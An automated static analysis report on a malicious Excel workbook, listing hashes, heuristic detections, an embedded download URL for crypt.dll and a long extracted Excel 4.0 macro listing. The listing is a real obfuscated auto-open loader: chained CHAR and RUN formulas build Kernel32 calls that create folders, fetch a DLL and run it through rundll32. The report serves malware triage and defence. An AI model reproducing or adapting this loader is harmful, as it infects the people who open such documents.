Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e1fbc397fd27ff21…

MALICIOUS

Office (OLE)

101.5 KB Created: 2020-03-19 15:06:18 Authoring application: Microsoft Excel First seen: 2020-05-14
MD5: 021412d6c7f5d8357ca18623ab41d2c4 SHA-1: 59807e7fa0de3d3d39db6c154ee3a94c63ffea5f SHA-256: e1fbc397fd27ff212644a632aef8a3ca1debbd7c0327b461fa9e964351a7f421
262 Risk Score

Heuristics 7

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://209.141.54.161/crypt.dll~ In document text (OLE body)
    • http://209.141.54.161/crypt.dllIn document text (OLE body)
    • http://209.141.54.161/crypt.dIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 28191 bytes
SHA-256: ee52e115f36db151196ecfd4f06e18e0f30fadad0ff993953f531ab5a806ab28
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  LHvQHxL
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  LHvQHxL!JD551 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  LHvQHxL,DK5,"",75.00000000000000000000
'  LHvQHxL,FY8,CHAR(IL1753-923),""
'  LHvQHxL,DM13,"",25.00000000000000000000
'  LHvQHxL,II14,"",749.00000000000000000000
'  LHvQHxL,BT15,"",931.00000000000000000000
'  LHvQHxL,JF16,"",90.00000000000000000000
'  LHvQHxL,GI22,CHAR(CY1658-265),""
'  LHvQHxL,CB23,"",1024.00000000000000000000
'  LHvQHxL,GI23,RUN(FM1181),""
'  LHvQHxL,DJ26,RUN(FG875),""
'  LHvQHxL,FF26,"",95.00000000000000000000
'  LHvQHxL,FT27,CHAR(CV659-664),""
'  LHvQHxL,FT38,"",88.00000000000000000000
'  LHvQHxL,GD42,"",71.00000000000000000000
'  LHvQHxL,IW42,RUN(FP206),""
'  LHvQHxL,IB49,RUN(DM1467),""
'  LHvQHxL,EO51,RUN(EX1183),""
'  LHvQHxL,EC53,RUN(DK998),""
'  LHvQHxL,GV54,"",41.00000000000000000000
'  LHvQHxL,HA58,RUN(JF522),""
'  LHvQHxL,CH60,DN244,""
'  LHvQHxL,DM62,"",30.00000000000000000000
'  LHvQHxL,EG62,"",8.00000000000000000000
'  LHvQHxL,DO68,"",6.00000000000000000000
'  LHvQHxL,BU76,"",56.00000000000000000000
'  LHvQHxL,BY85,RUN(DZ887),""
'  LHvQHxL,K91,"",54.00000000000000000000
'  LHvQHxL,FW92,CHAR(J1273-923),""
'  LHvQHxL,ES93,RUN(IN370),""
'  LHvQHxL,HN94,RUN(Z1009),""
'  LHvQHxL,HZ96,RUN(GQ344),""
'  LHvQHxL,BB99,RUN(HA564),""
'  LHvQHxL,HB102,"",763.00000000000000000000
'  LHvQHxL,GY103,RUN(EQ267),""
'  LHvQHxL,HK107,"",58.00000000000000000000
'  LHvQHxL,GE108,RUN(GW1661),""
'  LHvQHxL,EU110,CHAR(HJ217-923),""
'  LHvQHxL,DG111,"",98.00000000000000000000
'  LHvQHxL,DO115,"",16.00000000000000000000
'  LHvQHxL,DB117,"",784.00000000000000000000
'  LHvQHxL,CJ120,"",7.00000000000000000000
'  LHvQHxL,A129,"",40.00000000000000000000
'  LHvQHxL,BK130,CHAR(T1604-265),""
'  LHvQHxL,BK131,RUN(BX638),""
'  LHvQHxL,DD147,RUN(P1008),""
'  LHvQHxL,O149,CHAR(EQ883-265),""
'  LHvQHxL,O150,RUN(U1138),""
'  LHvQHxL,GG152,"",373.00000000000000000000
'  LHvQHxL,FP153,RUN(EI313),""
'  LHvQHxL,EN154,RUN(GT1785),""
'  LHvQHxL,DU156,"",37.00000000000000000000
'  LHvQHxL,HD156,RUN(HA245),""
'  LHvQHxL,HN166,"",0.00000000000000000000
'  LHvQHxL,EZ168,"",9.00000000000000000000
'  LHvQHxL,DM176,"",48.00000000000000000000
'  LHvQHxL,V177,"",36.00000000000000000000
'  LHvQHxL,JA180,CONCATENATE(EO1162),""
'  LHvQHxL,BA186,CHAR(GU208-923),""
'  LHvQHxL,CA190,"",86.00000000000000000000
'  LHvQHxL,HZ190,"",49.00000000000000000000
'  LHvQHxL,IB197,"",56.00000000000000000000
'  LHvQHxL,EC199,RUN(HO1040),""
'  LHvQHxL,HZ200,CHAR(CK1089-664),""
'  LHvQHxL,T202,"",1028.00000000000000000000
'  LHvQHxL,FP206,RUN(ES1020),""
'  LHvQHxL,GU208,"",1037.00000000000000000000
'  LHvQHxL,T210,"",91.00000000000000000000
'  LHvQHxL,DL211,RUN(BM266),""
'  LHvQHxL,HJ217,"",1007.00000000000000000000
'  LHvQHxL,BW225,"",70.00000000000000000000
'  LHvQHxL,BY227,RUN(GE108),""
'  LHvQHxL,DW229,"",23.00000000000000000000
'  LHvQHxL,DV231,"",64.00000000000000000000
'  LHvQHxL,DS237,RUN(EN154),""
'  LHvQHxL,HA238,RUN(HS1471),""
'  LHvQHxL,EV240,RUN(GL834),""
'  LHvQHxL,ER242,"",86.00000000000000000000
'  LHvQHxL,DN244,"CONCATENATE(IW1351,ES1296)",""
'  LHvQHxL,HA245,RUN(IK1126),""
'  LHvQHxL,HG245,"",1030.00000000000000000000
'  LHvQHxL,JH247,CHAR(DZ794-664),""
'  LHvQHxL,ES252,"",24.00000000000000000000
'  LHvQHxL,IK258,"",733.00000000000000000000
'  LHvQHxL,EB259,CHAR(J435-923),""
'  LHvQHxL,CA260,RUN(CK1285),""
'  LHvQHxL,EF261,RUN(HQ1202),""
'  LHvQHxL,II264,RUN(CB1979),""
'  LHvQHxL,BM266,RUN(BU1159),""
'  LHvQHxL,EQ267,RUN(EO51),""
'  LHvQHxL,EV267,"CONCATENATE(FR1693,DH1985,P569,GO671,HS1614,BT1666,IV1333,BF812,FQ1479,HH603,JH247,GL1070,BE1073,FT27,BA1803,IC1717,EJ380,HZ200)",""
'  LHvQHxL,HM267,CHAR(EM1863-823),""
'  LHvQHxL,IZ267,"",63.00000000000000000000
'  LHvQHxL,GK277,"",70.00000000000000000000
'  LHvQHxL,GS280,"",75.00000000000000000000
'  LHvQHxL,IR289,"",1042.00000000000000000000
'  LHvQHxL,C293,CHAR(L1236-664),""
'  LHvQHxL,CD293,CHAR(BT15-823),""
'  LHvQHxL,JE293,CHAR(GF1359-823),""
'  LHvQHxL,EU299,RUN(EJ1636),""
'  LHvQHxL,JK303,"",94.00000000000000000000
'  LHvQHxL,ET306,"",765.00000000000000000000
'  LHvQHxL,H309,"",69.00000000000000000000
'  LHvQHxL,EB312,"",96.00000000000000000000
'  LHvQHxL,EI313,RUN(DS1889),""
'  LHvQHxL,FZ320,RUN(DL211),""
'  LHvQHxL,IX326,"",82.00000000000000000000
'  LHvQHxL,CC328,CHAR(JM380-265),""
'  LHvQHxL,EV328,"",6.00000000000000000000
'  LHvQHxL,CC329,RUN(B1925),""
'  LHvQHxL,BR332,"",6.00000000000000000000
'  LHvQHxL,GQ344,RUN(JM754),""
'  LHvQHxL,GR345,"",65.00000000000000000000
'  LHvQHxL,HM348,RUN(I616),""
'  LHvQHxL,HS348,RUN(IQ491),""
'  LHvQHxL,GI357,"",9.00000000000000000000
'  LHvQHxL,HN360,"",68.00000000000000000000
'  LHvQHxL,IK368,"",6.00000000000000000000
'  LHvQHxL,IR368,RUN(IU1393),""
'  LHvQHxL,IN370,RUN(CD1110),""
'  LHvQHxL,EJ380,CHAR(I1268-664),""
'  LHvQHxL,JM380,"",318.00000000000000000000
'  LHvQHxL,FS382,RUN(FQ1846),""
'  LHvQHxL,CS386,"",311.00000000000000000000
'  LHvQHxL,DM387,RUN(FZ320),""
'  LHvQHxL,CT389,"",931.00000000000000000000
'  LHvQHxL,FT390,"",28.00000000000000000000
'  LHvQHxL,GK399,"",7.00000000000000000000
'  LHvQHxL,CU402,"",40.00000000000000000000
'  LHvQHxL,CH404,"",314.00000000000000000000
'  LHvQHxL,EP405,"",40.00000000000000000000
'  LHvQHxL,N409,RUN(EE1757),""
'  LHvQHxL,DD409,"",1031.00000000000000000000
'  LHvQHxL,GF411,"",27.00000000000000000000
'  LHvQHxL,GO419,"",61.00000000000000000000
'  LHvQHxL,EI420,CHAR(HM1461-664),""
'  LHvQHxL,GF420,"",981.00000000000000000000
'  LHvQHxL,J435,"",1031.00000000000000000000
'  LHvQHxL,CU439,"",311.00000000000000000000
'  LHvQHxL,GY440,"",41.00000000000000000000
'  LHvQHxL,G441,"",92.00000000000000000000
'  LHvQHxL,BT442,"",78.00000000000000000000
'  LHvQHxL,EC450,"",908.00000000000000000000
'  LHvQHxL,BP451,RUN(T733),""
'  LHvQHxL,FB452,CHAR(CS386-265),""
'  LHvQHxL,FB453,RUN(GU1700),""
'  LHvQHxL,JF454,RUN(HS1845),""
'  LHvQHxL,BY458,"",68.00000000000000000000
'  LHvQHxL,GN467,RUN(GT777),""
'  LHvQHxL,CM469,"",38.00000000000000000000
'  LHvQHxL,IL472,"",42.00000000000000000000
'  LHvQHxL,T477,"",19.00000000000000000000
'  LHvQHxL,HG484,"",4.00000000000000000000
'  LHvQHxL,CM485,CHAR(BM1192-265),""
'  LHvQHxL,CM486,RUN(IY1035),""
'  LHvQHxL,FE487,RUN(CE1202),""
'  LHvQHxL,IQ491,RUN(FY1050),""
'  LHvQHxL,JH493,CHAR(JL1889-664),""
'  LHvQHxL,GK494,"",6.00000000000000000000
'  LHvQHxL,JD496,RUN(JO1359),""
'  LHvQHxL,IS498,"",57.00000000000000000000
'  LHvQHxL,DF504,CHAR(GH1745-923),""
'  LHvQHxL,FV512,RUN(JF454),""
'  LHvQHxL,HE512,RUN(BX1086),""
'  LHvQHxL,FH514,RUN(EU299),""
'  LHvQHxL,DC519,RUN(GI635),""
'  LHvQHxL,JF522,RUN(EF1806),""
'  LHvQHxL,IC525,CHAR(ET306-664),""
'  LHvQHxL,HW532,"",769.00000000000000000000
'  LHvQHxL,EE537,RUN(BE1350),""
'  LHvQHxL,EE538,RUN(CK156),""
'  LHvQHxL,FM544,"",315.00000000000000000000
'  LHvQHxL,HE545,RUN(DF821),""
'  LHvQHxL,EI547,CHAR(CH404-265),""
'  LHvQHxL,EI548,RUN(FE1170),""
'  LHvQHxL,DZ550,"",78.00000000000000000000
'  LHvQHxL,JD551,RUN(CW1106),""
'  LHvQHxL,W557,"",86.00000000000000000000
'  LHvQHxL,GL560,CHAR(DR877-923),""
'  LHvQHxL,DQ563,"",2.00000000000000000000
'  LHvQHxL,CP564,RUN(DJ615),""
'  LHvQHxL,FD564,CHAR(DC1802-923),""
'  LHvQHxL,HA564,RUN(IY1179),""
'  LHvQHxL,FF568,CHAR(T904-923),""
'  LHvQHxL,P569,CHAR(IH1198-664),""
'  LHvQHxL,BK575,"",1023.00000000000000000000
'  LHvQHxL,HZ579,CHAR(BK575-923),""
'  LHvQHxL,BF583,"",61.00000000000000000000
'  LHvQHxL,BO592,"",73.00000000000000000000
'  LHvQHxL,GV592,CHAR(GD988-823),""
'  LHvQHxL,HP596,"",53.00000000000000000000
'  LHvQHxL,DI597,"",381.00000000000000000000
'  LHvQHxL,HH603,CHAR(GG855-664),""
'  LHvQHxL,CV604,RUN(DT1546),""
'  LHvQHxL,IH611,"",38.00000000000000000000
'  LHvQHxL,O615,CHAR(DV1294-265),""
'  LHvQHxL,DJ615,RUN(IF961),""
'  LHvQHxL,JK615,"",2.00000000000000000000
'  LHvQHxL,I616,RUN(HE545),""
'  LHvQHxL,O616,RUN(BY1376),""
'  LHvQHxL,GI619,"",11.00000000000000000000
'  LHvQHxL,BU621,"",77.00000000000000000000
'  LHvQHxL,CE623,"",83.00000000000000000000
'  LHvQHxL,IQ623,RUN(HN94),""
'  LHvQHxL,FH627,"",14.00000000000000000000
'  LHvQHxL,CF633,"",8.00000000000000000000
'  LHvQHxL,GI635,RUN(JG804),""
'  LHvQHxL,HE636,"",78.00000000000000000000
'  LHvQHxL,N637,"",51.00000000000000000000
'  LHvQHxL,BX638,CHAR(J952-265),""
'  LHvQHxL,BX639,RUN(GI22),""
'  LHvQHxL,HD640,"",13.00000000000000000000
'  LHvQHxL,BP648,RUN(IR368),""
'  LHvQHxL,CD657,CHAR(HB102-664),""
'  LHvQHxL,CV659,"",734.00000000000000000000
'  LHvQHxL,BB661,"",21.00000000000000000000
'  LHvQHxL,GO667,"",91.00000000000000000000
'  LHvQHxL,IQ669,RUN(HE512),""
'  LHvQHxL,GO671,CHAR(HR1933-664),""
'  LHvQHxL,EG674,CHAR(HN1739-823),""
'  LHvQHxL,GV685,"",51.00000000000000000000
'  LHvQHxL,JF689,"",0.00000000000000000000
'  LHvQHxL,IH696,"",15.00000000000000000000
'  LHvQHxL,EQ698,"",78.00000000000000000000
'  LHvQHxL,FY698,"",95.00000000000000000000
'  LHvQHxL,GD698,"",31.00000000000000000000
'  LHvQHxL,Y704,"",0.00000000000000000000
'  LHvQHxL,CC704,"",93.00000000000000000000
'  LHvQHxL,BW707,RUN(BB99),""
'  LHvQHxL,GF711,"",87.00000000000000000000
'  LHvQHxL,HQ712,"",51.00000000000000000000
'  LHvQHxL,DU715,"",30.00000000000000000000
'  LHvQHxL,CC717,CONCATENATE(JB1887),""
'  LHvQHxL,GH724,"",1008.00000000000000000000
'  LHvQHxL,HY724,"",81.00000000000000000000
'  LHvQHxL,HI726,"",3.00000000000000000000
'  LHvQHxL,FQ732,"",312.00000000000000000000
'  LHvQHxL,HA732,"",322.00000000000000000000
'  LHvQHxL,T733,RUN(GN467),""
'  LHvQHxL,CI744,CHAR(JE898-265),""
'  LHvQHxL,CI745,RUN(GC943),""
'  LHvQHxL,IF746,"",35.00000000000000000000
'  LHvQHxL,FV747,"",75.00000000000000000000
'  LHvQHxL,CF748,RUN(T1848),""
'  LHvQHxL,BT749,"",57.00000000000000000000
'  LHvQHxL,JM754,RUN(FY1409),""
'  LHvQHxL,ID756,"",33.00000000000000000000
'  LHvQHxL,BU765,RUN(M1108),""
'  LHvQHxL,Q766,RUN(EP1434),""
'  LHvQHxL,DS772,RUN(BE1291),""
'  LHvQHxL,HE776,RUN(GJ1680),""
'  LHvQHxL,GT777,RUN(IQ1443),""
'  LHvQHxL,IM784,"CONCATENATE(JI979,BH1970,GB1443,JE293,HM267,L1753)",""
'  LHvQHxL,FP787,"",95.00000000000000000000
'  LHvQHxL,S791,"",46.00000000000000000000
'  LHvQHxL,DZ794,"",764.00000000000000000000
'  LHvQHxL,BR796,CHAR(CL1210-923),""
'  LHvQHxL,JG804,RUN(BM1211),""
'  LHvQHxL,CT809,"",20.00000000000000000000
'  LHvQHxL,BF812,CHAR(HA1759-664),""
'  LHvQHxL,FI813,"",98.00000000000000000000
'  LHvQHxL,Q815,"",52.00000000000000000000
'  LHvQHxL,DF821,RUN(CF748),""
'  LHvQHxL,K826,"",11.00000000000000000000
'  LHvQHxL,FG830,"",64.00000000000000000000
'  LHvQHxL,ER832,"",996.00000000000000000000
'  LHvQHxL,ER834,"",53.00000000000000000000
'  LHvQHxL,GL834,RUN(DS237),""
'  LHvQHxL,Y839,"",772.00000000000000000000
'  LHvQHxL,CM841,"",905.00000000000000000000
'  LHvQHxL,GG855,"",761.00000000000000000000
'  LHvQHxL,FL858,RUN(GV1095),""
'  LHvQHxL,GC861,"",62.00000000000000000000
'  LHvQHxL,GH861,RUN(CF1340),""
'  LHvQHxL,C864,"",45.00000000000000000000
'  LHvQHxL,GF867,"",42.00000000000000000000
'  LHvQHxL,GF871,"",314.00000000000000000000
'  LHvQHxL,FG875,RUN(HN936),""
'  LHvQHxL,DR877,"",1033.00000000000000000000
'  LHvQHxL,DZ883,"",98.00000000000000000000
'  LHvQHxL,EQ883,"",377.00000000000000000000
'  LHvQHxL,DZ887,RUN(HA238),""
'  LHvQHxL,FS890,"",4.00000000000000000000
'  LHvQHxL,IE895,CHAR(GQ1861-265),""
'  LHvQHxL,IE896,RUN(O149),""
'  LHvQHxL,JE898,"",323.00000000000000000000
'  LHvQHxL,FV899,RUN(IR1006),""
'  LHvQHxL,GC900,"",22.00000000000000000000
'  LHvQHxL,CZ901,"",60.00000000000000000000
'  LHvQHxL,T904,"",998.00000000000000000000
'  LHvQHxL,HI904,CHAR(CA1986-664),""
'  LHvQHxL,BE905,"",22.00000000000000000000
'  LHvQHxL,BH906,"",20.00000000000000000000
'  LHvQHxL,II908,RUN(EV240),""
'  LHvQHxL,HQ912,CHAR(U924-664),""
'  LHvQHxL,BO914,"",19.00000000000000000000
'  LHvQHxL,JE916,CHAR(FZ1798-823),""
'  LHvQHxL,JC923,"",68.00000000000000000000
'  LHvQHxL,U924,"",768.00000000000000000000
'  LHvQHxL,ES924,"",774.00000000000000000000
'  LHvQHxL,FT925,RUN(BY85),""
'  LHvQHxL,DB934,CHAR(ER1313-265),""
'  LHvQHxL,DB935,RUN(EI547),""
'  LHvQHxL,GO935,CHAR(FA1645-664),""
'  LHvQHxL,HN936,RUN(JI1124),""
'  LHvQHxL,R939,"",25.00000000000000000000
'  LHvQHxL,FA941,RUN(BU765),""
'  LHvQHxL,GC943,CHAR(FQ732-265),""
'  LHvQHxL,GC944,RUN(BC1863),""
'  LHvQHxL,EX945,"",1.00000000000000000000
'  LHvQHxL,JF948,CHAR(ES1968-923),""
'  LHvQHxL,J952,"",312.00000000000000000000
'  LHvQHxL,GK953,RUN(JD496),""
'  LHvQHxL,GE954,RUN(CV604),""
'  LHvQHxL,EZ955,"",12.00000000000000000000
'  LHvQHxL,HT955,"",44.00000000000000000000
'  LHvQHxL,IR957,"",1043.00000000000000000000
'  LHvQHxL,IF961,RUN(EX1082),""
'  LHvQHxL,DG963,"",313.00000000000000000000
'  LHvQHxL,GW966,"",27.00000000000000000000
'  LHvQHxL,CN972,"",1011.00000000000000000000
'  LHvQHxL,HU973,CHAR(BO1614-664),""
'  LHvQHxL,CZ974,"",1022.00000000000000000000
'  LHvQHxL,DI974,RUN(EF261),""
'  LHvQHxL,FL975,"",18.00000000000000000000
'  LHvQHxL,JC978,CHAR(JA1333-923),""
'  LHvQHxL,JI979,CHAR(EC450-823),""
'  LHvQHxL,DX984,CHAR(H1394-923),""
'  LHvQHxL,BD985,CHAR(FM1646-664),""
'  LHvQHxL,GD988,"",873.00000000000000000000
'  LHvQHxL,I994,CHAR(CT389-823),""
'  LHvQHxL,DK998,RUN(DI974),""
'  LHvQHxL,CQ1000,CONCATENATE(EV267),""
'  LHvQHxL,DQ1006,"",6.00000000000000000000
'  LHvQHxL,IR1006,RUN(IY1835),""
'  LHvQHxL,P1008,RUN(FV899),""
'  LHvQHxL,Z1009,RUN(GH861),""
'  LHvQHxL,IN1014,"",81.00000000000000000000
'  LHvQHxL,ES1020,RUN(DD147),""
'  LHvQHxL,U1021,RUN(CL1071),""
'  LHvQHxL,DK1024,CHAR(CZ974-923),""
'  LHvQHxL,HQ1024,"",39.00000000000000000000
'  LHvQHxL,IY1035,CHAR(CU439-265),""
'  LHvQHxL,IY1036,RUN(CC328),""
'  LHvQHxL,DS1037,RUN(BQ1963),""
'  LHvQHxL,CV1040,"",28.00000000000000000000
'  LHvQHxL,HO1040,RUN(IA1118),""
'  LHvQHxL,DS1045,"",6.00000000000000000000
'  LHvQHxL,GE1046,"",33.00000000000000000000
'  LHvQHxL,CQ1047,"",27.00000000000000000000
'  LHvQHxL,FY1050,RUN(FS1322),""
'  LHvQHxL,IZ1056,"",1031.00000000000000000000
'  LHvQHxL,IU1058,"",11.00000000000000000000
'  LHvQHxL,EO1059,"",16.00000000000000000000
'  LHvQHxL,BK1060,"",317.00000000000000000000
'  LHvQHxL,JJ1062,"",46.00000000000000000000
'  LHvQHxL,HY1069,RUN(BW707),""
'  LHvQHxL,GL1070,CHAR(IA1133-664),""
'  LHvQHxL,CL1071,RUN(DJ26),""
'  LHvQHxL,BE1073,CHAR(GA1924-664),""
'  LHvQHxL,EX1082,RUN(DW1607),""
'  LHvQHxL,BX1086,RUN(IQ623),""
'  LHvQHxL,CK1089,"",729.00000000000000000000
'  LHvQHxL,IO1091,"",66.00000000000000000000
'  LHvQHxL,GV1095,RUN(BB1670),""
'  LHvQHxL,GG1098,CHAR(IR957-923),""
'  LHvQHxL,CW1106,RUN(EX1951),""
'  LHvQHxL,M1108,RUN(EC199),""
'  LHvQHxL,CD1110,RUN(BM1567),""
'  LHvQHxL,BQ1118,"",72.00000000000000000000
'  LHvQHxL,IA1118,RUN(BX1401),""
'  LHvQHxL,CY1122,"",14.00000000000000000000
'  LHvQHxL,JI1124,RUN(DC519),""
'  LHvQHxL,IK1126,RUN(GY103),""
'  LHvQHxL,T1129,"",6.00000000000000000000
'  LHvQHxL,IA1133,"",748.00000000000000000000
'  LHvQHxL,U1138,CHAR(DI597-265),""
'  LHvQHxL,U1139,RUN(O615),""
'  LHvQHxL,IN1140,"",379.00000000000000000000
'  LHvQHxL,FC1142,"",99.00000000000000000000
'  LHvQHxL,EA1151,"",42.00000000000000000000
'  LHvQHxL,U1153,"",48.00000000000000000000
'  LHvQHxL,GU1154,CHAR(HA732-265),""
'  LHvQHxL,GU1155,RUN(FB452),""
'  LHvQHxL,CK1158,"",89.00000000000000000000
'  LHvQHxL,BU1159,RUN(HD156),""
'  LHvQHxL,EO1162,"CONCATENATE(GO935,HQ912,IC525,C293,EI420,EY1935,HP1810,HU973,CD657,DG1551,JH493,HI904,BD985)",""
'  LHvQHxL,FZ1163,"",44.00000000000000000000
'  LHvQHxL,FM1164,"",47.00000000000000000000
'  LHvQHxL,FE1170,CHAR(GZ1739-265),""
'  LHvQHxL,FE1171,RUN(BK130),""
'  LHvQHxL,IL1171,RUN(II264),""
'  LHvQHxL,GI1173,"",76.00000000000000000000
'  LHvQHxL,IY1179,RUN(BE1348),""
'  LHvQHxL,CJ1180,"",72.00000000000000000000
'  LHvQHxL,FM1181,CHAR(IN1140-265),""
'  LHvQHxL,FM1182,RUN(IE895),""
'  LHvQHxL,EX1183,RUN(CP564),""
'  LHvQHxL,BM1192,"",314.00000000000000000000
'  LHvQHxL,FH1192,CHAR(CB23-923),""
'  LHvQHxL,EU1193,"",53.00000000000000000000
'  LHvQHxL,V1196,"",746.00000000000000000000
'  LHvQHxL,IH1198,"",740.00000000000000000000
'  LHvQHxL,F1202,"",1.00000000000000000000
'  LHvQHxL,CE1202,RUN(IQ1699),""
'  LHvQHxL,HQ1202,RUN(IL1171),""
'  LHvQHxL,CL1210,"",969.00000000000000000000
'  LHvQHxL,BM1211,RUN(X1547),""
'  LHvQHxL,BZ1220,CHAR(DD409-923),""
'  LHvQHxL,FF1220,CONCATENATE(IM784),""
'  LHvQHxL,BN1222,CHAR(DW1369-265),""
'  LHvQHxL,BN1223,RUN(DQ1533),""
'  LHvQHxL,ER1225,CHAR(ER832-923),""
'  LHvQHxL,ID1234,RUN(HM348),""
'  LHvQHxL,L1236,"",772.00000000000000000000
'  LHvQHxL,FF1244,CHAR(HG245-923),""
'  LHvQHxL,HX1257,"",74.00000000000000000000
'  LHvQHxL,I1268,"",765.00000000000000000000
'  LHvQHxL,GL1268,"",39.00000000000000000000
'  LHvQHxL,EB1271,"",6.00000000000000000000
'  LHvQHxL,J1273,"",990.00000000000000000000
'  LHvQHxL,Q1280,"",29.00000000000000000000
'  LHvQHxL,IY1281,"CONCATENATE(JG1332,IY1280)",""
'  LHvQHxL,IY1282,RUN(BE1353),""
'  LHvQHxL,E1283,"",83.00000000000000000000
'  LHvQHxL,P1284,"",906.00000000000000000000
'  LHvQHxL,CK1285,RUN(FP153),""
'  LHvQHxL,HU1286,"",1.00000000000000000000
'  LHvQHxL,I1289,"",4.00000000000000000000
'  LHvQHxL,BE1291,RUN(DS1037),""
'  LHvQHxL,DV1294,"",311.00000000000000000000
'  LHvQHxL,ES1296,"CONCATENATE(FL1577,EE537)",""
'  LHvQHxL,CB1299,CHAR(ET1501-923),""
'  LHvQHxL,ER1313,"",311.00000000000000000000
'  LHvQHxL,IX1313,"",94.00000000000000000000
'  LHvQHxL,DY1322,"",48.00000000000000000000
'  LHvQHxL,FS1322,RUN(GK953),""
'  LHvQHxL,IS1322,RUN(HZ96),""
'  LHvQHxL,HB1327,"",98.00000000000000000000
'  LHvQHxL,JG1332,"CONCATENATE(BG1866,CC717)",""
'  LHvQHxL,IV1333,CHAR(ES924-664),""
'  LHvQHxL,JA1333,"",1033.00000000000000000000
'  LHvQHxL,CF1340,RUN(GR1749),""
'  LHvQHxL,BE1348,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\rncwner",0)",""
'  LHvQHxL,BE1349,RUN(BN1222),""
'  LHvQHxL,A1350,CHAR(T202-923),""
'  LHvQHxL,BE1350,"CALL("Kernel32","CreateDirectoryA","JCJ","C:\rncwner\CkkYKlI",0)",""
'  LHvQHxL,BE1351,"CALL(FF1220,CQ1000,"JJCCJJ",0,CH60,JG1332,0,0)",""
'  LHvQHxL,IW1351,"CONCATENATE(BN1222,DQ1533,H1446,HN1649,CI744,GC943,BC1863,DU1617,CD1639,GU1154,FB452,GU1700,EZ1380,CM485,IY1035,CC328,B1925,DB934,EI547,FE1170,BK130,BX638,GI22,FM1181,IE895,O149,U1138,O615,BY1376)",""
'  LHvQHxL,BE1352,RUN(IY1280),""
'  LHvQHxL,BE1353,"CALL(BH1554,JA180,"JJCCCCJ",0,"Open","rundll32.exe",IY1281,0,0)",""
'  LHvQHxL,BC1354,"",92.00000000000000000000
'  LHvQHxL,BE1354,HALT(),""
'  LHvQHxL,GF1359,"",900.00000000000000000000
'  LHvQHxL,JO1359,RUN(FA941),""
'  LHvQHxL,BT1365,RUN(BY227),""
'  LHvQHxL,FJ1365,"",11.00000000000000000000
'  LHvQHxL,CR1367,"",90.00000000000000000000
'  LHvQHxL,GR1368,RUN(IS1322),""
'  LHvQHxL,DW1369,"",369.00000000000000000000
'  LHvQHxL,BY1376,CHAR(CO1938-265),""
'  LHvQHxL,BY1377,RUN(FL1577),""
'  LHvQHxL,FQ1378,"",93.00000000000000000000
'  LHvQHxL,X1379,"",95.00000000000000000000
'  LHvQHxL,EZ1380,CHAR(BK1060-265),""
'  LHvQHxL,EZ1381,RUN(CM485),""
'  LHvQHxL,JA1383,"",27.00000000000000000000
'  LHvQHxL,D1384,"",79.00000000000000000000
'  LHvQHxL,IU1393,RUN(FH514),""
'  LHvQHxL,H1394,"",1015.00000000000000000000
'  LHvQHxL,BH1397,"",783.00000000000000000000
'  LHvQHxL,BX1401,RUN(BP648),""
'  LHvQHxL,EY1401,"",54.00000000000000000000
'  LHvQHxL,EV1405,"",75.00000000000000000000
'  LHvQHxL,FY1409,RUN(IW42),""
'  LHvQHxL,JB1417,"",775.00000000000000000000
'  LHvQHxL,B1419,"",73.00000000000000000000
'  LHvQHxL,JF1426,"",59.00000000000000000000
'  LHvQHxL,EP1434,RUN(HS348),""
'  LHvQHxL,BR1438,"",0.00000000000000000000
'  LHvQHxL,DS1438,"",899.00000000000000000000
'  LHvQHxL,GB1443,CHAR(DS1438-823),""
'  LHvQHxL,IQ1443,RUN(II908),""
'  LHvQHxL,H1446,CHAR(DL1596-265),""
'  LHvQHxL,H1447,RUN(HN1649),""
'  LHvQHxL,CE1452,RUN(ES93),""
'  LHvQHxL,K1458,"",49.00000000000000000000
'  LHvQHxL,B1459,"",8.00000000000000000000
'  LHvQHxL,BD1461,"",34.00000000000000000000
'  LHvQHxL,HM1461,"",772.00000000000000000000
'  LHvQHxL,CU1464,"",0.00000000000000000000
'  LHvQHxL,BD1465,"",54.00000000000000000000
'  LHvQHxL,DM1467,RUN(EC53),""
'  LHvQHxL,GL1467,"",86.00000000000000000000
'  LHvQHxL,HS1471,RUN(N409),""
'  LHvQHxL,GS1472,"",25.00000000000000000000
'  LHvQHxL,HV1476,"",88.00000000000000000000
